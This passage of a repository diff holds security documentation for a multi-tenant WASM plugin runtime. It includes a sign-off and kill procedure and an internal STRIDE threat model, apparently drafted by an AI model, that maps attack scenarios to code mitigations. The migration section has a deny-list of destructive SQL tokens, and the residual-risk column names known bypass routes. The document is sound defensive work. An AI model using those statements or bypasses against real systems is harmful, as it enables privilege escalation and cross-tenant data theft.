firm's published key directory.
---
## 7. Production-rollout authorization
Once this document is signed in §6, the following are authorized:
1. `PROGRESS.md` Phase 06 Task #23 status moves to `completed`.
2. `docs/improvement-plan/BLOCKERS.md` B-006 entry moves from "Open" to
"Resolved" with a one-paragraph close-out referencing this sign-off
document by git SHA.
3. The operator may allow production tenant plugin execution on the
dedicated `worker-plugin` service with `WORKER_QUEUE_GROUP=plugin` and
the audited plugin env matrix documented in
`docs/operations/plugin-lifecycle.md`. The service may already exist as
an idle, health-checked deployment target before sign-off; sign-off
authorizes external plugin execution, not the mere presence of the
container.
4. The first production plugin install is monitored for 24h: Sentry
`plugin.*` tags, `PluginCapabilityUse` row volume, `worker-plugin`
container CPU + RAM, sandbox-crash-tracker alerts. Any anomaly follows
the §8 kill procedure.
---
## 8. Sign-off invalidation (post-rollout)
This sign-off is **invalidated** and the runtime **must be killed** if any
of the following happens after production rollout:
- An external researcher discloses a Critical or High vulnerability in
the in-scope surface (per `docs/security/vulnerability-disclosure.md`).
- An internal review or new audit discovers a Critical or High finding
that the original audit did not catch.
- A sandbox-escape is observed in production logs / Sentry, regardless of
whether it was caused by a malicious or buggy plugin.
- A capability-gateway bypass is observed.
- A signature-verification bypass is observed.
- A cross-tenant data leak is observed via plugin-mediated access.
**Kill procedure:**
1. Stop or scale the dedicated `worker-plugin` service to zero in Coolify
(or set `WORKER_ENABLED=false` on that service and redeploy). This stops
`plugin.invoke` consumption without disabling core web/API/worker
services.
2. Pause or drain the `toolctrl.plugin-invoke` queue if jobs are still
accumulating, then disable affected tenant plugins through the plugin
lifecycle UI/API so no new invocations are enqueued after recovery.
3. Page on-call per `docs/security/incident-response.md`.
4. File a new entry in `docs/improvement-plan/BLOCKERS.md` (next B-NNN
ID) referencing this sign-off and the triggering event.
5. New audit cycle required: either a delta-audit from the same firm
(preferred) or a fresh full audit before re-rollout.
6. New sign-off document at `docs/security/plugin-runtime-signoff.md`
(this file is moved to `docs/security/plugin-runtime-signoff-<old-date>.md`
for archival; a fresh template is written from
`docs/security/plugin-audit-rfp.md` §7).
---
## 9. Sign-off history (archival)
When this document is re-issued (after a sign-off invalidation per §8),
the previous version is archived here as a chronological list. The
current sign-off above is always the latest entry.
| Sign-off date | Auditing firm | Code SHA | Reason for re-issue (if not the first) | Archived at |
|---|---|---|---|---|
| (first) | _________ | _________ | first sign-off | this file |
@@ -0,0 +1,207 @@
# Plugin Runtime Threat Model
**Phase:** Phase 06 — Plugin System (#21 WASM Sandbox, #22 Hooks/Lifecycle, #23 Audit/Docs)
**Author:** Claude Opus 4.7 (1M context)
**Last revised:** 2026-05-19
**Status:** **Internal draft — feeds the external audit-package (B-006).**
**Scope:** Everything a third-party WASM plugin can touch — from manifest parsing through the worker invocation path, the audit pipeline, the lifecycle DB rows, and the tenant-admin UI surface.
This document is the operator-facing input to the external Cure53 / SySS / secfault audit. It enumerates the assets the runtime protects, applies STRIDE per asset, and maps each mitigation to a concrete `file:line` in the codebase. Every claim a mitigation makes must be verifiable by reading the linked source. If you find a mitigation cited here that no longer exists, file the gap in `docs/security/plugin-internal-findings.md` and patch the model in the same commit.
The model intentionally treats the **plugin code as adversarial** — a malicious plugin author, a compromised supply chain, or a buggy plugin that happens to do the wrong thing under load are all in scope. Threats from outside the boilerplate (compromised CI worker, stolen DB credentials, malicious host operator) are _out of scope_ and handled by `docs/security/threat-model.md` (the broader platform model).
---
## 1. Asset catalogue
| ID | Asset | Where it lives | Why it matters |
| ---- | ------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- |
| A-01 | Plugin **WASM binary** | Filesystem on `worker-plugin` pod, loaded via `loadBinary` seam in `apps/worker/src/jobs/plugin-invoke.ts:83` | Untrusted code that executes in-process. Sandbox-escape = host RCE. |
| A-02 | Plugin **manifest** (`Plugin.manifest` JSON) | `prisma/schema/plugins.prisma:19` (`Plugin.manifest`) | Declares which capabilities the plugin is allowed to request. Tampering = privilege escalation. |
| A-03 | **Ed25519 trusted-key allowlist** | Env var `PLUGIN_TRUSTED_PUBLIC_KEYS`, parsed at `packages/plugin-runtime/src/signature.ts:95` (`parseTrustedPublicKeys`) | Trust root for every binary. Compromise = arbitrary code execution under any plugin id. |
| A-04 | **Capability gateway** invocation state | `packages/plugin-runtime/src/capability-gateway.ts:78` (`createCapabilityGateway`) | The single chokepoint between WASM and host I/O. Bypass = arbitrary host calls. |
| A-05 | **PluginCapabilityUse** audit rows | `prisma/schema/plugins.prisma:77` (model `PluginCapabilityUse`) | Tamper-evidence for "what did this plugin do?". Loss = no forensics; manipulation = false alibi. |
| A-06 | Plugin-owned **SQL migrations** | `applyPluginMigration` in `packages/plugin-runtime/src/migrations.ts:200` | DDL run as the host DB role. Bypass = cross-tenant DROP/GRANT. |
| A-07 | **Plugin DB rows** (`Plugin`, `PluginUserConfig`) | `prisma/schema/plugins.prisma:14`, `:48` | Lifecycle state. Tampering = silent auto-enable / wrong key/sha pinning. |
| A-08 | **Tenant install API** | `apps/web/app/routes/api.tenants.$tenant.plugins.tsx:43` (`action`) | Entry-point a tenant admin uses to install plugins. CSRF / permission failure = takeover. |
| A-09 | **Hook outbox events** (`plugin.hook.*`) | `packages/plugin-runtime/src/hooks/emit.ts:91` (`emitPluginHook`) | Carrier between host business writes and plugin invocations. Cross-tenant fan-out is the catastrophic failure. |
| A-10 | **Crash tracker counters** | `packages/plugin-runtime/src/crash-tracker.ts:90` (`createCrashTracker`) + SharedStore keys `plugin:crash:<pluginId>:<tenantId>` | Wrong increment = unwarranted auto-disable (availability) or missed disable (uptime + cost). |
| A-11 | **Sandbox memory** (WebAssembly.Memory cap) | `packages/plugin-runtime/src/runtime.ts:117` | A plugin that grows past the cap can OOM the worker. |
| A-12 | **Plugin output buffer** | `apps/worker/src/jobs/plugin-invoke.ts:248` (sanitization site) | Plugin-controlled bytes flowing into audit/log/Sentry. Risk: PII exfiltration into operator-visible surfaces. |
| A-13 | **Rate-limit counters** | Deps seam `consumeRateLimit` in `apps/worker/src/jobs/plugin-invoke.ts:91` | Without enforcement, a single plugin can starve all other tenants. |
| A-14 | **Plugin worker emergency stop** | Dedicated `worker-plugin` service (`WORKER_QUEUE_GROUP=plugin`) plus queue pause/drain and lifecycle disable controls | Last line of defence. Failure to execute = no emergency-stop. |
---
## 2. STRIDE matrix per asset
Each row is `Asset → Threat → Concrete attack scenario → Code-mapped mitigations`.
Mitigation links use `file:line` for the primary anchor. **Every linked line must exist**; if a refactor moves it, update this table in the same commit. The CI hook in `.gitea/workflows/plugin-threat-model-check.yml` (to be added by the security-findings cleanup) will grep for stale anchors.
### A-01 — Plugin WASM binary
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------------------- | ---------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Spoofing** | Attacker uploads a binary that pretends to come from a trusted publisher. | (1) Ed25519 verify at invoke time: `apps/worker/src/jobs/plugin-invoke.ts:193` calls `verifyPluginSignature` from `packages/plugin-runtime/src/signature.ts:48`. (2) Trusted-key allowlist enforced at `signature.ts:59-61`. (3) SHA-256 of binary must match `manifest.wasmSha256` (`signature.ts:53-56`). | A leaked publisher key. Mitigation: rotate via env update + redeploy worker. Documented in `docs/architecture/plugin-system.md`. |
| **Tampering** | Binary on disk is replaced after install. | SHA-256 is recomputed on **every** invocation (`signature.ts:53`); a tampered binary fails `binary_hash_mismatch` and the plugin-invoke job returns `signature_invalid` (`plugin-invoke.ts:198-205`). | None significant — verification is per-invocation, not per-install. |
| **Repudiation** | Operator/tenant denies running the binary. | Per-invocation audit row is fail-closed in `plugin-invoke.ts`: audit write failure logs `plugin.invoke.audit_failed` and throws so the queue retries/dead-letters. Per-capability-use rows go through `PluginCapabilityUse` outbox; the production plugin worker enables recorder fail-closed mode. | Local/dev callers can still use best-effort capability telemetry when they intentionally leave `failClosed` disabled. |
| **Info disclosure** | Binary embeds sensitive identifiers (publisher secret accidentally bundled). | Out of scope for the runtime. Publisher CI lint can catch (`packages/cli/src/commands/plugins/lint.ts`). | Publisher-side hygiene; not enforceable here. |
| **DoS** | Binary contains an infinite loop or memory-bomb. | (1) Plugin invocation runs in a worker-thread sandbox and `PLUGIN_MAX_WALL_CLOCK_MS` terminates non-yielding workers (`apps/worker/src/jobs/plugin-sandbox-isolated.ts`). (2) Fuel counter is charged per host-fn call (`runtime.ts:170`, gateway `capability-gateway.ts:120`). (3) Memory cap enforced by `WebAssembly.Memory({ maximum })` at `runtime.ts:117-118`. (4) Trap detection branches to `memory_limit_exceeded` / `trap` outcomes (`runtime.ts:176-183`). (5) Per-tenant sliding-window rate limit `consumeRateLimit` (`plugin-invoke.ts:208-212`). | **Per-instruction fuel is still not available in V8.** Pure-WASM loops are bounded by coarse wall-clock termination, not instruction accounting; Wasmtime remains the richer audit target. |
| **Elevation** | Binary uses host functions it did not declare. | Capability gateway rejects undeclared invocations: `capability-gateway.ts:96-105` (`manifestDeclaresCapability` check) throws `CapabilityDeniedError`. | None — closed enum + manifest-declared subset is necessary AND sufficient. |
### A-02 — Plugin manifest
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------------------- | ----------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Spoofing** | Manifest claims `signedBy` of a trusted publisher but the binary is unsigned. | Manifest's `signedBy` is compared against the trusted-key allowlist before signature verification runs (`signature.ts:58-61`). Verification uses the manifest-declared key, then confirms the key is trusted. | None — trust check + verify are atomic in `verifyPluginSignature`. |
| **Tampering** | Manifest is mutated post-install to silently grant new capabilities. | (1) Manifest is canonicalised + included in the signed payload (`signature.ts:54-56` for binary hash; signature scope per `docs/architecture/plugin-system.md`). (2) Install-time F-005 checks reject untrusted publisher keys and run `verifyPluginSignature` against the pre-positioned binary before creating the `Plugin` row. (3) Stored manifest is loaded fresh at invocation (`plugin-invoke.ts:173-181`) — no caching means a mutation requires a row update. App-level plugin lifecycle mutations are gated by `app.plugins.manage`; direct row mutation requires DB access. | None for the signed-binary/install path; direct DB writes remain an operator/DB-access boundary. |
| **Repudiation** | Tenant claims they never approved capability X. | Lifecycle service writes an audit event on install (`PluginLifecycleService.ts:81-100` — see `installPlugin`). The audit-events store is hash-chained. Tenant settings requires explicit list-level capability review plus a server-generated manifest digest before writing missing grants. Grant audit metadata records plugin version, review digest, approved capability names, approved scope JSON and the matching manifest scope snapshot. The plugin `audit` host binding itself emits structured worker log/capability telemetry, not a durable audit-events DB row. | None for the install/grant events themselves. Residual UX work remains around a fuller guided tenant-admin consent dialog — F-001. |
| **Info disclosure** | Manifest contains sensitive metadata. | Description field max 2048 chars (`manifest.ts:61`), strict Zod schema (`.strict()` at `manifest.ts:38, 46, 53, 75`). | None — manifest is operator-visible by design. |
| **DoS** | Manifest declares thousands of capabilities or impossibly long strings. | Closed-enum `PLUGIN_CAPABILITY_NAMES` (`capabilities.ts:13-23`) caps the capability vocabulary at 9 entries. String fields have explicit max lengths in `manifest.ts:60-67`. | None significant. |
| **Elevation** | Manifest invents a new capability name. | `z.enum(PLUGIN_CAPABILITY_NAMES)` (`manifest.ts:43`) rejects anything not in the closed enum. `parsePluginManifest` returns issues; `installPlugin` throws `manifest_invalid` at `PluginLifecycleService.ts:74`. | None — the enum is the trust boundary. |
### A-03 — Ed25519 trusted-key allowlist
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------------------- | ---------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| **Spoofing** | Adversary tries to add a key to the allowlist via runtime path. | Allowlist is **read from env only** at process start (`signature.ts:95-101`); no runtime mutation path exists. Adding requires a pod restart. | Operator must restrict who can edit the worker env (Coolify role). Out of runtime scope. |
| **Tampering** | Env value modified mid-run. | `parseTrustedPublicKeys` returns a fresh `ReadonlyArray` per call. Each worker invocation snapshots `trustedPublicKeysHex` (`plugin-invoke.ts:109`) — mutation requires worker restart. | None. |
| **Repudiation** | Operator denies adding a key. | Coolify env-change history. Not the runtime's job. | Out of scope. |
| **Info disclosure** | Public keys leak. | Public keys are **public** by definition. No risk. | None. |
| **DoS** | Allowlist set to empty / invalid CSV → no plugins can run. | Fail-closed is intentional: invalid hex entries are filtered at `signature.ts:99-100`; empty list → `verifyPluginSignature` returns `public_key_not_trusted` (`signature.ts:59`); invocation returns `signature_invalid`. Operator must intentionally seed the env. | None — fail-closed by design. |
| **Elevation** | Wrong key added (typo) effectively trusts a malicious publisher. | Operator process: keys are added via PR review per the documented runbook in `docs/architecture/plugin-system.md`. | Operator-side; mitigated by review. |
### A-04 — Capability gateway
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------------------- | ---------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------ |
| **Spoofing** | Plugin calls a host-fn under a capability it doesn't have. | `manifestDeclaresCapability` check on every invoke (`capability-gateway.ts:96`); throws `CapabilityDeniedError` (`:104`). | None — deny by default. |
| **Tampering** | Plugin tries to mutate the `hostFns` map after gateway creation. | Map is captured by closure at `capability-gateway.ts:79`; no exposed mutator. | None. |
| **Repudiation** | Denied call leaves no audit trace. | `onCall` notifier fires for `denied` outcome (`capability-gateway.ts:98-103`); the recorder buffers it for the batch audit-write (`audit.ts:108-121`). | Audit sink can be down — see A-05 residual. |
| **Info disclosure** | Error message leaks host internals. | `CapabilityDeniedError.message` is `"capability denied: <name> (<reason>)"` only (`capability-gateway.ts:56`). No stack/host internals exposed to the plugin. | None. |
| **DoS** | Plugin spams capability calls to drain CPU. | Fuel charged per call (`:120`); `fuelCharged()` records host-fn fuel for audit/limits planning. Default cost 100 fuel/call (`:71`). Invocation wall-clock is bounded by `PLUGIN_MAX_WALL_CLOCK_MS`. | Fuel cap is host-fn-based, not per-instruction. F-002 remains the Wasmtime upgrade track. |
| **Elevation** | `notifyCall` throws and tears down the host before the capability result is returned. | Try/catch isolates the synchronous notifier (`capability-gateway.ts:85-90`), then production flush handles durable-sink failure at sandbox close with `failClosed: true`. | The immediate host-fn result is not interrupted by notifier bugs; production still fails closed before acking the invocation. |
### A-05 — PluginCapabilityUse audit rows
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Spoofing** | Attacker writes rows with another tenant's id. | Recorder is invocation-scoped — `tenantId` set once at construction (`audit.ts:114-119`) and copied into every record. Insertion goes through `PluginCapabilityUseStore.insertMany` (`apps/worker/src/jobs/plugin-capability-use.ts:39`), itself called only from the worker handler. | None at the runtime layer. The outbox queue must remain operator-only writeable. |
| **Tampering** | Rows modified after-write to hide an exfiltration. | Postgres-level: only the schema-owner role can `UPDATE` directly. App-level: there is no `UPDATE PluginCapabilityUse` code path. Rows are hash-chained per tenant through `prevHash` / `rowHash`, and operators verify integrity with `toolctrl-cli plugins verify-audit-chain <tenantId>`. | Keep the verifier in the production runbook; a web endpoint remains deferred. |
| **Repudiation** | Operator/tenant denies an action. | Two-tier evidence: per-invocation row (`Plugin.installedAt` + audit-events table for install) **and** per-capability-use row. | None. |
| **Info disclosure** | Body content stored in audit → DSGVO violation. | **Bodies are NEVER stored.** `payloadHash` is SHA-256 of an arg-shape descriptor only (`audit.ts:173-175`). No URL bodies, no DB row payloads. | None when used as designed. Plugin authors writing custom `descriptor` strings that contain PII are a separate problem — `hashCapabilityPayload` should be the only path. |
| **DoS** | Plugin spams the recorder until heap exhausts. | `maxEntries` cap (default 1024) per invocation (`audit.ts:91, 109`); excess entries are dropped with a `warn` log. | None. |
| **Elevation** | A failed audit write surfaces as a plugin error. | Recorder callers choose the failure mode. The production plugin worker passes `failClosed: true`, so sink failures throw during sandbox finalization and the invocation is recorded as failed instead of silently succeeding. | Local/dev callers can intentionally leave best-effort telemetry enabled; production bootstrap must not. |
### A-06 — Plugin-owned SQL migrations
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------------------- | ------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Spoofing** | Plugin migration claims to create `plugin_acme_*` but actually creates `users`. | Regex extraction of the table name + prefix check (`migrations.ts:99-104`). Reject = `prefix_violation`. | The regex requires the simple `CREATE TABLE name ( ... )` shape; nested CTEs / `CREATE TABLE LIKE` are rejected outright by the splitter at `migrations.ts:174-180`. |
| **Tampering** | Migration uses `pg_*` system functions to mutate operator data. | `FORBIDDEN_TOKENS` list at `migrations.ts:69-81` catches `GRANT`, `REVOKE`, `CREATE USER`, `ALTER USER`, `DROP USER`, `DROP DATABASE`, `DROP SCHEMA`, `COPY`, `TRUNCATE`, `SET ROLE`, `PG_`. Comments stripped before scan (`migrations.ts:61-67`). | Token-list approach; a clever encoding could in principle smuggle. **F-006** — additionally compare via `pg_query_emscripten` AST for defence in depth (deferred). |
| **Repudiation** | Plugin author claims they didn't intend the bad migration. | Migration SQL is part of the manifest (in #22 follow-up — stored alongside Plugin row JSON). Migration apply is audited via `applyPluginMigration` logger (`migrations.ts:218-222`). **Gap:** no per-statement audit row. | F-007 — per-statement audit write before execution. |
| **Info disclosure** | Migration `SELECT`s from another tenant's table. | Only `CREATE TABLE` and `CREATE INDEX` are allowed (`migrations.ts:171-181`). `SELECT` is rejected as `forbidden_statement`. | None. |
| **DoS** | Migration creates 1000 tables. | Statement count is not capped — a manifest can list arbitrarily many statements. **F-008** — add `MAX_STATEMENTS_PER_MIGRATION` cap (default 32). | Currently bounded by manifest size limits only. |
| **Elevation** | Migration creates a table without `tenantId`, then plugin reads all rows. | Body must contain `\btenantId\b` (`migrations.ts:106-110`); rejection is `missing_tenant_id_column`. | Regex matches in any context (comment, default value). Acceptable: false positives are operator-visible failures; false negatives are blocked because the runtime never disables this check. |
### A-07 — Plugin DB rows (Plugin / PluginUserConfig)
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------------------- | ---------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------- | ---------------------- |
| **Spoofing** | Tenant A's row claims to belong to tenant B. | `@@unique([tenantId, pluginId])` at `plugins.prisma:31`; install path captures `tenantId` from URL through `getTenantIdFromUrl` (`api.tenants.$tenant.plugins.tsx:37`). | None at the row level. |
| **Tampering** | Tenant admin disables auto-disable by editing the row. | Direct row mutation requires DB access. App-level mutators go through `PluginLifecycleService.enable/disable` which audit. No `update enabled` endpoint exists outside `op=enable | disable` (`api.tenants.$tenant.plugins.tsx:54-61`). | None at the app layer. |
| **Repudiation** | Who installed the plugin? | `installPlugin` writes an audit event with `actor` (`PluginLifecycleService.ts:81-100`). | None. |
| **Info disclosure** | Listing plugins across tenants. | `listPlugins` scoped by `tenantId` (`PluginLifecycleService.ts:listPlugins`). Loader path verifies `app.plugins.use` for the URL's tenant before returning rows (`api.tenants.$tenant.plugins.tsx:65-69`). | None. |
| **DoS** | Tenant installs 10k plugins → DB bloat + worker thrashing. | `@@unique([tenantId, pluginId])` prevents duplicate-id installs. F-009 is closed: `installPlugin` enforces `PLUGIN_MAX_INSTALLS_PER_TENANT` with default cap 50 and returns `tenant_install_limit_exceeded` as HTTP 429. | None at the default cap; operators can set a non-positive override to disable the cap in controlled environments. |
| **Elevation** | Admin of tenant A enables a plugin owned by tenant B. | `enable/disablePlugin` queries by `pluginRowId` AND `tenantId` (`PluginLifecycleService.ts:142+`). | None. |
### A-08 — Tenant install API
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------------------- | ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------- |
| **Spoofing** | CSRF: tricked admin POSTs install on their own tenant. | `validateCSRFToken(request)` (`api.tenants.$tenant.plugins.tsx:46`). JSON clients use the `x-csrf-token` header path so the body remains available for `request.json()`. | F-010 is closed; keep the header-token contract for JSON install clients. |
| **Tampering** | Modified body bypasses validation. | Body parsed as JSON; required fields explicitly checked before install. The lifecycle service then enforces the production runtime gate, Zod manifest validation, inclusive host-version range, trusted-key match, disk binary verification, submitted SHA match, duplicate `pluginId` rejection, and tenant install cap. | None for declared fields. |
| **Repudiation** | Admin denies install. | `resolveActor` captures user id + IP into the audit (`api.tenants.$tenant.plugins.tsx:88-100`). | None. |
| **Info disclosure** | Error message leaks internal state. | `PluginLifecycleError` codes are enumerated (`PluginLifecycleService.ts:35-44`); messages are operator-controlled. | None significant. |
| **DoS** | Repeated installs DOS the DB. | Permission gate `app.plugins.manage` + tenant scoping limit blast radius. F-011 is closed: the install route uses a SharedStore sliding-window limiter keyed by `tenant:<id>` with default `PLUGIN_INSTALL_RATE_LIMIT_PER_MIN=5`; over limit returns 429 + `Retry-After: 60`. | Production fails closed on limiter infrastructure errors by default; fail-open is allowed only when explicitly configured with `PLUGIN_RATE_LIMIT_FAIL_OPEN=true`. |
| **Elevation** | Non-admin user calls install. | `verifyUserHasPermission(request, "app.plugins.manage", tenantId)` (`api.tenants.$tenant.plugins.tsx:72-76`). | None. |
### A-09 — Hook outbox events
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------------------- | -------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Spoofing** | Producer writes an event for a tenant it doesn't own. | `emitPluginHook` is called only from `.server.ts` host code paths that already have `tenantId` from a permission-gated loader/action. Producer trust = host code trust. | Out of scope; trust is at the host-code call site. |
| **Tampering** | Outbox row mutated before dispatch. | Outbox dispatcher is operator-only; no app-level mutate path. Payload is Zod-validated before publish (`emit.ts:98-101`). | None. |
| **Repudiation** | "We didn't fire that hook." | Outbox row + per-invocation audit at the worker side give two independent timelines. | None. |
| **Info disclosure** | Hook payload over-shares (e.g. user PII). | Each hook has a strict Zod schema with `.strict()` (`registry.ts:36, 46, 57`). Adding a field requires editing the registry. | None at runtime; **schema design discipline** at the host-team level. |
| **DoS** | Hook fan-out explodes (one host write → N plugins → N×M jobs). | Single outbox row per hook write (foundation deviation #3 in `hooks-lifecycle.md`); F-012 is closed: `plugin.hook.*` outbox events route to `outbox.plugin-hook`, worker-side fan-out filters manifest-declared subscribers by `tenantId`, and plugin invocation remains bounded by `consumeRateLimit` per plugin. | Residual accepted: a tenant with many enabled subscribers can still create bursty plugin-invoke traffic within configured per-plugin limits. |
| **Elevation** | Plugin in tenant A receives an event for tenant B. | Each `plugin.invoke` job carries `tenantId` from the source event (`plugin-invoke.ts:48`); worker handler scopes `loadPlugin` by `tenantId` (`:173-181`). Plugin only runs for its own tenant rows. | None. |
### A-10 — Crash tracker counters
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------------------- | ------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------ |
| **Spoofing** | Attacker increments another tenant's counter to force their auto-disable. | Counter key is `plugin:crash:<pluginId>:<tenantId>` (`crash-tracker.ts:82`). Only `recordFailure` writes; only invoked from `plugin-invoke.ts:157-161` with `payload.tenantId` from the job (not user input on the request path). | Outbox payload trust — see A-09 elevation. |
| **Tampering** | Direct SharedStore writes manipulate the counter. | SharedStore credentials are operator-only. | Out of scope. |
| **Repudiation** | Why was my plugin auto-disabled? | `recordFailure` returns `{ failureCount, autoDisabled }`; logger emits `plugin.crash.auto_disabled` with full context (`crash-tracker.ts:128-133`). Auto-disable also writes a notification (`notify` seam). | None significant. |
| **Info disclosure** | Counter exposes invocation rate. | Counter is per `(plugin, tenant)` — knowing the counter requires SharedStore access. | None. |
| **DoS** | Tenant intentionally triggers 10+ failures to disable a plugin they don't like. | **F-013** — the tracker counts only `sandbox_failed` / `signature_invalid` / `binary_load_failed` (configured at `plugin-invoke.ts:150-155`). A tenant cannot trigger `signature_invalid` from a user-facing path, but they can trigger `sandbox_failed` if they control the plugin input. Acceptable: a tenant disabling their own plugin is not a privilege escalation. |
| **Elevation** | Bypass auto-disable by ensuring the counter resets. | `recordSuccess` decrements (`crash-tracker.ts:138-152`) but only by 1 per success. Threshold-1 successes still leave threshold-1 failures. Auto-disable resets the counter (`crash-tracker.ts:127`) — re-enable starts at zero, which is intentional. | None. |
### A-11 — Sandbox memory
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ---------------------- | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| **Spoofing/Tampering** | Plugin reads/writes outside its memory region. | WebAssembly's memory-safety guarantees + Node's V8 enforce bounds. Trap → `memory_limit_exceeded` (`runtime.ts:176-179`). | V8-implementation bugs are out of plugin's control; tracked by Chrome security advisories. Operator must keep Node.js patched. |
| **DoS** | Memory-bomb grows past the cap. | `maximum` page count enforced by `WebAssembly.Memory({ initial, maximum })` (`runtime.ts:117-118`). | None. |
| **Elevation** | Memory escape to host. | V8 sandbox boundary. **This is the audit's principal Q.** | Mitigated by all the layers above plus operator hardening (seccomp/AppArmor — see Security Notes §worker-isolation in `wasm-sandbox.md`). |
### A-12 — Plugin output buffer
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------------------- | -------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Info disclosure** | Plugin reads tenant DB rows, packs them into its output, output lands in Sentry. | (1) `sanitizePluginOutput` (`packages/plugin-runtime/src/sanitize.ts`) redacts PANs/IBANs/JWTs/API-keys; field-name awareness catches `password`/`secret`. (2) Applied at `apps/worker/src/jobs/plugin-invoke.ts:248` before persistence. (3) Strictness from env `PLUGIN_OUTPUT_SANITIZATION_STRICTNESS` (default `moderate`). | Regex-based sanitization is best-effort: a plugin that base64-encodes secrets evades the regex. **Sanitization is defence-in-depth — the primary trust boundary is the capability gateway** (no `db.read` → can't read tenant data). |
| **DoS** | Plugin returns a 10 MB string into the audit. | F-014 is closed: `sanitizePluginOutput` truncates large strings and carries a total output budget across the walk (`PLUGIN_SANITIZE_TOTAL_BUDGET_BYTES`, default 1 MiB); once exhausted, further string leaves become `[SIZE_LIMIT]`. | Output-size exhaustion is bounded. Regex sanitization remains best-effort for encoded secrets; see the Info disclosure residual above. |
### A-13 — Rate-limit counters
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ------- | --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| **DoS** | Single tenant exhausts worker capacity. | `consumeRateLimit` seam (`plugin-invoke.ts:208-212`) — when `allowed=false` the handler returns `rate_limit_exceeded` before invoking the sandbox. F-015 is mostly closed: the production plugin worker bootstrap wires a SharedStore-backed limiter, and missing production deps fail loudly rather than silently acknowledging plugin jobs. | Remaining external signoff is the broader production WASM runtime review, not the rate-limiter wiring itself. |
### A-14 — Plugin worker emergency stop
| STRIDE | Attack scenario | Mitigation(s) | Residual risk |
| ---------------------- | ------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| **DoS / availability** | After a sandbox-escape report, runtime must be killable quickly. | Stop/scale the dedicated `worker-plugin` service to zero (or redeploy it with `WORKER_ENABLED=false`), pause/drain `toolctrl.plugin-invoke`, and disable affected plugins through lifecycle controls. | Residual operator risk: this is an operational stop path, not a runtime env flag. Runbooks and deploy tooling must keep `worker-plugin` separately controllable from core workers. |
---
## 3. Cross-cutting invariants
These invariants apply to every asset above. Any code change that weakens an invariant is a security-relevant change and must be flagged in PR description.
1. **`tenantId` is host-injected, never plugin-supplied.** Every plugin-runtime function that takes a tenant id reads it from a host-side source (URL param, job payload from outbox event, etc.). The plugin SDK gives plugins no API to set their own tenant id.
2. **Capabilities are deny-by-default and closed-enum.** `PLUGIN_CAPABILITY_NAMES` is the trust boundary. Adding a capability requires (a) extending the enum, (b) implementing a host-fn, (c) reflecting in the manifest schema, (d) reflecting in this threat model.
3. **Audit sink failure is fail-closed in the production plugin worker.** Invocation audit writes throw on persistence failure, and capability-use telemetry is configured with `failClosed: true` in `plugin-invoke-bootstrap.ts`. Local/dev recorder callers may still keep best-effort telemetry by omitting `failClosed`.
4. **Plugin output is sanitized before it leaves the worker process.** Any new code path that emits plugin-output bytes (OTel spans, Sentry breadcrumbs, additional log statements) must funnel through `sanitizePluginOutput`. Re-verify on every PR touching `plugin-invoke.ts` or future observability wiring.
5. **No live mutation of the trust root.** `PLUGIN_TRUSTED_PUBLIC_KEYS` is read once at boot. Restart-to-rotate is intentional.
6. **Plugin migrations are CREATE-only.** No `UPDATE`/`DELETE`/`ALTER`/`DROP` allowed in the foundation grammar.
7. **Production plugin operations are explicitly gated.** In production, lifecycle/fanout/runtime operations require `PLUGIN_RUNTIME_PRODUCTION_ENABLED=true`; the older runtime-enable flag is not the current gate.
---
## 4. Out-of-scope (handled elsewhere)
